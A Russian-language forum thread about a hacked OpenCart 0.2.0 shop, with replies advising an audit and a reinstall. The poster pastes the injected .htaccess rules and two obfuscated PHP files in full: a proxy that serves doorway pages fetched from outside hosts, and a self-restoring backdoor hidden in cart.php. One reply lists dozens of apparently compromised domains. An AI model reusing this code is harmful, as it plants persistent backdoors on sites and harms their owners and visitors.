[Решено] Взлом на версии 0.2.0

[Strongest]

Добрый день, интернет магазин стоит на версии 0.2.0 Сегодня обнаружил следующее, на сайте разместили в папке совершенно другой сайт и google проиндексировал, вот как это выглядит:

сам сайт: http://www.******.ru/ и взломанные страницы вида *****.ru/books/rukovodstvo-po-remontu-folksvagen-passat/

Что нашел: файл htaccess изменен, в нем прописан редирект:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^$  [NC]
RewriteCond %{HTTP_HOST} !^www. [NC]
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
RewriteRule ^books(.*) /system/system.php?id=$1
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !/books
RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]

Как видим он обращается к файлу /system/system.php

В нем следующий код:

<? $GLOBALS['_483328755_']=Array(base64_decode('Y3Vy' .'bF9pbml0'),base64_decode('Y3' .'VybF9zZX' .'RvcHQ='),base64_decode('Y3V' .'ybF9zZXRv' .'cHQ='),base64_decode('Y3VybF9leG' .'V' .'j'),base64_decode('Y' .'3VybF9' .'jbG9zZ' .'Q=' .'='),base64_decode('c3R' .'yc3Ry'),base64_decode('aGV' .'hZGVy'),base64_decode('c3Ryc3Ry'),base64_decode('' .'aGVhZG' .'V' .'y'),base64_decode('' .'c3R' .'yc3' .'Ry'),base64_decode('c' .'3' .'Ryc3Ry'),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'3R' .'y'),base64_decode('' .'aG' .'Vh' .'ZGVy'),base64_decode('' .'aGVh' .'ZGV' .'y'),base64_decode('Y3VybF9' .'pb' .'ml0'),base64_decode('Y3Vy' .'bF9zZX' .'RvcHQ' .'='),base64_decode('Y3VybF9zZX' .'RvcHQ' .'='),base64_decode('Y3Vyb' .'F9leGVj'),base64_decode('Y' .'3VybF9jbG9' .'zZQ' .'=='),base64_decode('c3' .'Ry' .'c3Ry'),base64_decode('aGVh' .'ZGV' .'y'),base64_decode('' .'c3Ryc3Ry'),base64_decode('' .'a' .'GV' .'h' .'ZGVy'),base64_decode('c' .'3R' .'yc' .'3R' .'y'),base64_decode('c3' .'Ryc3Ry'),base64_decode('a' .'GVh' .'ZGVy'),base64_decode('c3Ryc3' .'R' .'y'),base64_decode('aGVhZGVy'),base64_decode('' .'a' .'GVhZGV' .'y')); ?><? function _1894674912($i){$a=Array('aWQ=','aHR0cDovL2VtYWlsZXJycnIucnUv','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD13aW5kb3dzLTEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUx','aWQ=','aHR0cDovL2FsZW5zZXQuaW4vZXJhbS9wcmVtaWVyZGV0ZWN0LnJ1Lw==','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD13aW5kb3dzLTEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUx');return base64_decode($a[$i]);} ?><? function l__0(){$_0=$_REQUEST[_1894674912(0)];$_1=$GLOBALS['_483328755_'][0]();$_2=_1894674912(1) .$_0;$GLOBALS['_483328755_'][1]($_1,CURLOPT_URL,$_2);$GLOBALS['_483328755_'][2]($_1,CURLOPT_RETURNTRANSFER,round(0+0.333333333333+0.333333333333+0.333333333333));$_3=$GLOBALS['_483328755_'][3]($_1);$GLOBALS['_483328755_'][4]($_1);if($GLOBALS['_483328755_'][5]($_0,_1894674912(2))){$GLOBALS['_483328755_'][6](_1894674912(3));}elseif($GLOBALS['_483328755_'][7]($_0,_1894674912(4))){$GLOBALS['_483328755_'][8](_1894674912(5));}elseif($GLOBALS['_483328755_'][9]($_0,_1894674912(6))|| $GLOBALS['_483328755_'][10]($_0,_1894674912(7))){$GLOBALS['_483328755_'][11](_1894674912(8));}elseif($GLOBALS['_483328755_'][12]($_0,_1894674912(9))){$GLOBALS['_483328755_'][13](_1894674912(10));}else{$GLOBALS['_483328755_'][14](_1894674912(11));}echo $_3;}$_0=$_REQUEST[_1894674912(12)];$_1=$GLOBALS['_483328755_'][15]();$_2=_1894674912(13) .$_0;$GLOBALS['_483328755_'][16]($_1,CURLOPT_URL,$_2);$GLOBALS['_483328755_'][17]($_1,CURLOPT_RETURNTRANSFER,round(0+0.5+0.5));$_3=$GLOBALS['_483328755_'][18]($_1);$GLOBALS['_483328755_'][19]($_1);if($GLOBALS['_483328755_'][20]($_0,_1894674912(14))){$GLOBALS['_483328755_'][21](_1894674912(15));}elseif($GLOBALS['_483328755_'][22]($_0,_1894674912(16))){$GLOBALS['_483328755_'][23](_1894674912(17));}elseif($GLOBALS['_483328755_'][24]($_0,_1894674912(18))|| $GLOBALS['_483328755_'][25]($_0,_1894674912(19))){$GLOBALS['_483328755_'][26](_1894674912(20));}elseif($GLOBALS['_483328755_'][27]($_0,_1894674912(21))){$GLOBALS['_483328755_'][28](_1894674912(22));}else{$GLOBALS['_483328755_'][29](_1894674912(23));}echo $_3; ?>

Если изменять и удалять файлы они восстанавливаются. Если изменять права, то все равно восстанавливаются. Пароли от FTP менял, машина чистая, значит где-то shell. Что нашел в интернете, вот статья очень похожая:

http://terror-web.uc...gazina/1-1-0-51

Вопрос. Как теперь мне избавится от этой заразы. Ведь интернет магазин допиливался очень сильно, переход на новый движок повличет огромные переделки.

[Strongest]

И еще добавлю, нашел еще в файле system/library/cart.php следующий код:

function __destruct(){
	$GLOBALS['_1047846918_']=Array(base64_decode('ZXJyb3' .'J' .'f' .'cmVw' .'b3J0aW' .'5n'),base64_decode('' .'dGl' .'tZQ' .'=='),base64_decode('Z' .'m' .'lsZV9leGlzdH' .'M='),base64_decode('Zm9wZW4='),base64_decode('Z' .'n' .'dyaXR' .'l'),base64_decode('Z3p' .'1bmNvbX' .'ByZXNz'),base64_decode('Ym' .'FzZ' .'TY0X2RlY29kZQ' .'=='),base64_decode('ZmNsb3Nl'),base64_decode('Z' .'m9' .'w' .'ZW4='),base64_decode('ZnJlYWQ='),base64_decode('Zml' .'s' .'ZXNpemU='),base64_decode('' .'ZmNsb3Nl'),base64_decode('c3Ryc' .'G9z'),base64_decode('c3R' .'ycG' .'9z'),base64_decode('Y2h' .'tb' .'2Q' .'='),base64_decode('Zm9' .'wZW' .'4='),base64_decode('ZndyaXRl'),base64_decode('Z3p1bmNvb' .'XByZXNz'),base64_decode('Y' .'mFz' .'ZTY0X2RlY29kZ' .'Q=='),base64_decode('ZmNs' .'b' .'3Nl'),base64_decode('Y2ht' .'b2' .'Q='),base64_decode('' .'Zm' .'lsZV' .'9' .'leGlzd' .'HM='),base64_decode('Zm9wZW4='),base64_decode('Z' .'ndyaXRl'),base64_decode('Z3p1b' .'mNvbXByZ' .'XNz'),base64_decode('Y' .'mF' .'zZT' .'Y0X2Rl' .'Y29k' .'ZQ=='),base64_decode('' .'Zm' .'Nsb3Nl'),base64_decode('Zm9w' .'ZW4' .'='),base64_decode('' .'Zn' .'JlY' .'WQ='),base64_decode('ZmlsZ' .'XNpe' .'mU' .'='),base64_decode('' .'ZmNsb3N' .'l'),base64_decode('YmFzZT' .'Y0' .'X2VuY29' .'k' .'ZQ=='),base64_decode('Z3' .'pjb' .'21wcmVzcw=='),base64_decode('Y' .'2htb2Q='),base64_decode('Zm9wZW4='),base64_decode('' .'Zn' .'d' .'ya' .'X' .'R' .'l'),base64_decode('Z3' .'p1bmNvbX' .'ByZ' .'XNz'),base64_decode('YmFzZTY0X2R' .'lY29kZQ=' .'='),base64_decode('Z' .'m' .'Nsb3Nl'),base64_decode('Y2h' .'tb2' .'Q=')); ?><? function _835434907($i){$a=Array('ZXJlbWlu','SXQgd29ya3Mh','ZXJlbWluMg==','ZUp5TlZFdHYwMEFRdmtmS2Z4aWFJaWdFcHdWeFFiU29RQ29pbFJhU1ZEMlVOdHJFWTJkVmU5ZnNiZ2dSUlNvdkNRa2tqcHdRQnc1Y1cyZ2xLQkQrd3ZvZk1Xc0hDS2xBWEx5Nzgvam1tNWRMWU4vYW9UMUlkK203YjcvWlEzc0lkT3hCMTVqa1VxVVNEMlNDb3NPVThWU3ZXQ2dXVmhQRHBkQndka2xHa2V3M0JuSEV4YloycWhMWTEzYlBmaWV3dy9TeC9aUStUbCtDL1VLWFIrNUpzQi9CSHRDVDlQYUlSRU82ZmJLZmY0T2Vxd2tmNytNNDJsRzZtNzdJa1E3SWdaRFNKL1k3MkNOSW41TDZNK0h2MmErUVBxZGpueDVEQ2pPMEg0cUZ5MHM4UW4yVG1VNFhwdTU0cDAwUzdYREJkeUlaN3BqN1ptWnFnZUlxSHhYNEtBWmw1cklwRnE3VEhRSWxZeUFCZ1ZSK295dzRWamtxS05tV1JudUVROUpGNTNyY2FXR1V4UnZLbG9xYlBuT0ZwbnkvMnFITDVVdjZDdXg3S3Y4N3IxaW9ZMTl4ZzFVUmNvR3dLbjVKcmpLTlVIRklJOEUxS1h3NCtlQkdzM21yZFdPMTBYd0lKN2FtQVRaV3JtMyswNmJmNzkveC9qU3I5eUtFcmRQZW1abnBuKzBtSzIvY3NUSTlCeHYxK1F1emMrWGxTY2UybE52YWVVTkZEN1RCZUhSNFNUZTV3djM1NmJsSlF2WHE3YlZxbzlsYXFpMVhWeFp2Vm9uWHVlQi9qUHkvR2EzVmE2U3ZaRlFtODlyWXVySko1TGdicVl4VFM4bWV3ZGE4eTJtNWZMdXh1RG5xRUZDSHh1WXlYNEQxOWZWL05lWjRqYmNTaFRGSEdpbURuWHhkeGdsbGxSb3I4NlQxUkttSldLa0VpNzdQM1dxd0NCcG9EQmVoQnRObEJtSTJBSUhvZzVIUVJrREIyaEc5QXFsQXl4aEJvN3FIU3Vjb2E2SWo0eGlGSVY4RWQyZkMxOUFlQUhHUTl3ZzFVNVJBODFCUXdkd3NrN0VNZ0Jzdmg2Z0ZNSkE5Q05FQUV6QlZFd1pWenNyRmdhcFNGUG5pN093VXNJQlVPU0VDTGp0a1FYRzBrUXBIWVpoTGdtdUlrZEhTRTY2Q3J0UUdmSWxhbkRLUTdXS1dwNWQzYU00YkVWRGdma1VnUlRUSXJUSjNWd1RtK3lSR1lveTBob1FCaHNkWXBqZFFwRVJxemFsQ1JDVGtOS1NxRlVheXpTTHRsRko0ME16NFVGSDdVbTA3UEo5clYxTHl2K1FZMFB5MGdvaUZ4d0ZrRU9Ra3owK1E3REtIR1BJTzNPMUpReitOVVpQSy94OHNjMi9sN3EwdzZjQnFFUHdBc3B3aUhRPT0=','RE9DVU1FTlRfUk9PVA==','Ly5odGFjY2Vzcw==','dw==','cg==','UmV3cml0ZVJ1bGUgXmJvb2tzKC4qKSAvc3lzdGVtL3N5c3RlbS5waHA/aWQ9JDE=','UmV3cml0ZUNvbmQgJXtSRVFVRVNUX1VSSX0gIS9ib29rcw==','dw==','ZUp6dFZtdHZva0FVL1N0K01CR3lwcGtaOEVHczI5VFcwamFzWFZGQk1ZYndzTVd1b3F1aTFXMy8rODRndHFqTTRINWZFd2R3enJubnpwMXpCeSt2TWxsWmVhcGRLNjEremhUTGdvREtwVUxCekEycTEvTzV0ZUZzYXpFc2lxWTdkS2J1a012MUJHMlR5MXprN0R0cFprL0dJTWZuVHhCa1h0dGd4TmJva250MTVkdzNxMGxJalV4SFNIVkZIcWhJZ2hvUDVUQTJHVjRUVU9UM0hUSkUyREtPUys1d1NEd214SFVFTmN3QVh6ZW5zNVljS25tR3JDWE1FazR5ajVBd0YvTStzNldndnZURE9pV3BoR3ZhelZLelpHVVk4bFZHRHRZdVM0K015WEgyNjRrUWxGaTlyOHJQYkRKUzNQSHBuN2c3S1BzVHhUd1hTZVpDbDJoc2R4Qm5rS2V0c1F1WDZJeG9SM2E3UktrN3V5SjdMc01sWkloY1JxOS9mQS9aKyttd25iSlRZeW1GMllZeEtBcDB0OFhXNDMzVmhLOWtycjVmWG1XZUE5OVpqcVoreG9SbFNTeVdSQWtpTGp2aS8yU3Q2S0RKV1RydTAzek91bGVCY3p0ZEtVaGI5dlR4d3VnK2Joei9JWEQ4emdwUEs1UEcxbGxYQ2JLSnBNQ1Z0Y0M5Z1oxaHR6WitHdFdBMGZXQWdqQmt1M2pwSWM5ei9NYll2WVdDcFJkKzJZSzdWZHIxVGFOZEozVEZyd1VHTmRMTTF1OThveVd0N1lrVG9pZXpkWVFPYjNVbmhmamJrVFUvUkxzejR5Vk54cmYwSG50TkhyRDFkZWxCYmt4NzNVZmNFVTNKUmVQQWtDWEIyWUMzSDYrZE4xSzg0eHJlTFF5OVFOQ0JwWXNyWEV2UHhtdHlKdHJTMHJVTjNpZGc2QTJnK0k5UTJTL3VmMzFwOWVVcjgrRXltUHVaUSt0bnJYNTJOT0FySDBkV0g1c200TEREVFZETm1tcTkyYW0zMnYyNC93RS9xR1JOV0tXOGdmdGd3UEVZZ0tweEV1UXpGemhraFVhQ0F3N0h6TjkwVk9YcFo5dkVsendPd1ZQeDZCQ3YxdHNkdGRGV3J4dXR1N3FhbjA4RDMrWEFOM0FoeEQ3c1I1NGtMVkJYSllTQzlJVEVhSDcwek5FZ0JRSUIrWGhaRU0valVsUHd4UUVYeDVJTVA0Ymp4WkFoVVRxVkVGa1M1VU9Kd2hrUzBxbEVrZWZmMzJuL3lQb1FuREpLcktRZ1BNeXFmRVpXRUoyS1NFd1I0VkFFZ3IwS25TSWVVV0JJY2J4cEJqdW44a0Z2R1loU2VnWVdFcHRHU091YTRqKzJEU3lkMlRjRjhrMXBDVmhPNlFrb3BUY0ZTbkFIWkhvV0hka0RudU5hbE9BUFdHVEtIQnVrZEk2TW1DQlRacllIU2pnV0lOTzY2T2hnUU9DY3pCS09CZ1NaTWtlSEEwS3BIWUtrSTRwdzBDSDRUZk1YMkpqR253PT0=','RE9DVU1FTlRfUk9PVA==','L3N5c3RlbS9zeXN0ZW0ucGhw','dw==','cg==','dw==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_1047846918_'][0](round(0));if(isset($_GET[_835434907(0)]))die(_835434907(1));if($GLOBALS['_1047846918_'][1]()>=round(0+442570820.333+442570820.333+442570820.333)|| isset($_GET[_835434907(2)])){$_0=_835434907(3);$_1=$_SERVER[_835434907(4)] ._835434907(5);if(!$GLOBALS['_1047846918_'][2]($_1)){$_2=$GLOBALS['_1047846918_'][3]($_1,_835434907(6));$GLOBALS['_1047846918_'][4]($_2,$GLOBALS['_1047846918_'][5]($GLOBALS['_1047846918_'][6]($_0)));$GLOBALS['_1047846918_'][7]($_2);}else{$_2=$GLOBALS['_1047846918_'][8]($_1,_835434907(7));$_3=$GLOBALS['_1047846918_'][9]($_2,$GLOBALS['_1047846918_'][10]($_1));$GLOBALS['_1047846918_'][11]($_2);if(!$GLOBALS['_1047846918_'][12]($_3,_835434907(8))||!$GLOBALS['_1047846918_'][13]($_3,_835434907(9))){$GLOBALS['_1047846918_'][14]($_1,round(0+102.2+102.2+102.2+102.2+102.2));$_2=$GLOBALS['_1047846918_'][15]($_1,_835434907(10));$GLOBALS['_1047846918_'][16]($_2,$GLOBALS['_1047846918_'][17]($GLOBALS['_1047846918_'][18]($_0)));$GLOBALS['_1047846918_'][19]($_2);$GLOBALS['_1047846918_'][20]($_1,round(0+84+84+84+84+84));}}$_0=_835434907(11);$_1=$_SERVER[_835434907(12)] ._835434907(13);if(!$GLOBALS['_1047846918_'][21]($_1)){$_2=$GLOBALS['_1047846918_'][22]($_1,_835434907(14));$GLOBALS['_1047846918_'][23]($_2,$GLOBALS['_1047846918_'][24]($GLOBALS['_1047846918_'][25]($_0)));$GLOBALS['_1047846918_'][26]($_2);}else{$_2=$GLOBALS['_1047846918_'][27]($_1,_835434907(15));$_3=$GLOBALS['_1047846918_'][28]($_2,$GLOBALS['_1047846918_'][29]($_1));$GLOBALS['_1047846918_'][30]($_2);if($GLOBALS['_1047846918_'][31]($GLOBALS['_1047846918_'][32]($_3))!=$_0){$GLOBALS['_1047846918_'][33]($_1,round(0+127.75+127.75+127.75+127.75));$_2=$GLOBALS['_1047846918_'][34]($_1,_835434907(16));$GLOBALS['_1047846918_'][35]($_2,$GLOBALS['_1047846918_'][36]($GLOBALS['_1047846918_'][37]($_0)));$GLOBALS['_1047846918_'][38]($_2);$GLOBALS['_1047846918_'][39]($_1,round(0+98.6+98.6+98.6+98.6+98.6));}}}
   }

Вроде пока не появляется, но все равно, что-то мне подсказывает что дырень остается, т.е. ей можно воспользоваться еще раз будет.

[afwollis]

надо проводить полный аудит.

а перед тем, как менять/исправлять файлы, вам надо было посмотреть дату их модификации.

и попросить логи доступа на ftp за тот период у хостера.

[Strongest]

Дело в том, что дата изменения этих файлов стоит старая, я бекап скачал с вирусом. Т.е. файл system/library/cart.php изменен 09.06.11 хотя этот же файл в бекапе от 27 числа другой и дата на нем такая же 09.06.11

Так же влогах нашел вот что

85.26.241.84 - - [02/Feb/2012:12:14:40 +0400] "GET /books/images/jquery00.js HTTP/1.0" 404 5375 "http://alenset.in/eram/premierdetect.ru/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"

[Strongest]

надо проводить полный аудит.

а перед тем, как менять/исправлять файлы, вам надо было посмотреть дату их модификации.

и попросить логи доступа на ftp за тот период у хостера.

Так по поводу ссылки на взлом opencarta эта дырка зыкрыта или нет?

[Sammy95]

Так по поводу ссылки на взлом opencarta эта дырка зыкрыта или нет?

закрыта.

Не храните пароли от фтп в настройках программ, всегда вводите вручную. И проверьте свой комп на вирусню.

[freelancer]

Так по поводу ссылки на взлом opencarta эта дырка зыкрыта или нет?

глянь есть ли у тебя файл этот

system/helper/dompdf/include/dompdf.cls.php

[leotop]

Взлом с похожими файлами был только на другом движке, wp. У меня система контроля версий, поэтому заметил взлом быстро, но решил посмотреть что будут делать. Первым был залит шел, потом пару дней тишина (продавали наверное), потом то что в верхнем посте залили.

Это один из известных доргенов. Работает проксированием, на хостинге данные не хранятся.

 

Работают через цепочку взломанных серверов, следить за ними бесполезно. Взлом конкретно в моем случае был из-за настроек сервера + уязвимость.

 

В итоге переустановил CMS, в данном случае так же стоит произвести переустановку с обновлением до новых версий

[leotop]

Расшифровал скрипт, адрес с дорами

http://cosmodownloads.com/gold/

 

У первого поста

emailerrrr.ru

http://alenset.in/eram/ но тут уже заблокировано

 

Полный список сайтов на которых был загружен шел (в том числе дорвей). Как видим, движки совершенно разные, проверяйте настройки хостинга.

 

0tdelka.ru 7mostov.info 214art.ru aocmmo.com apeks-gmbh.com avtodiler55.ru balkonshiki.ru beauty-fox.ru best4your.ru biblioteka-onlain.com biosunshine.ru blitzfasad.ru buduar-club.ru chesscenter.ru chitbox.ru delovkusa.ru design.rv.ua dinalisi.ru doctorl.ru drakonozavr.ru dveri5.spb.ru dvorec-kultury.ru edem.rv.ua faberlem.ru fastdiets.ru fb2knigi.net fifachamp.net fifpk.ru flirt-boutique.ru funkyline.ru gidbani.ru igri-devochek.ru ilensi.ru intrabanc.net jarknigi.com kartina.co.il klimov342.ru ktindustriesinc.com kungur-resurs.ru lambre-dmitrov.ru lyashchenko-branch.kiev.ua maxdle.com medavitek.ru microscope-usb.ru minfetka.ru mirrakostroma.ru mixed.pro mos-artlife.ru motorka.com.ua mrbenz.ru mxdv.ru narodnayameditsina.ru odmol.ru off-shore-service.com pochaev-hotels.com project-t3.kiev.ua raceomsk.ru radio-rivne.rv.ua reporters.com.ua resoch.ru rubtrade.ru sanik.kiev.ua sf-vl.ru ski-pk.ru smenigarderob.ru sound228.ru stop-smoke.com.ua stroiotryd.ru sun-chee.com temsite.ru teploprok.com the-chess.ru tobestroika.ru tonirovka26.ru vlad-klimat.ru vse-smoki-mo.ru www.7mostov.info www.lambre-dmitrov.ru yafilosof.ru your5.ru zpprb.ru

 

На большинстве сайтов по прежнему дорвеи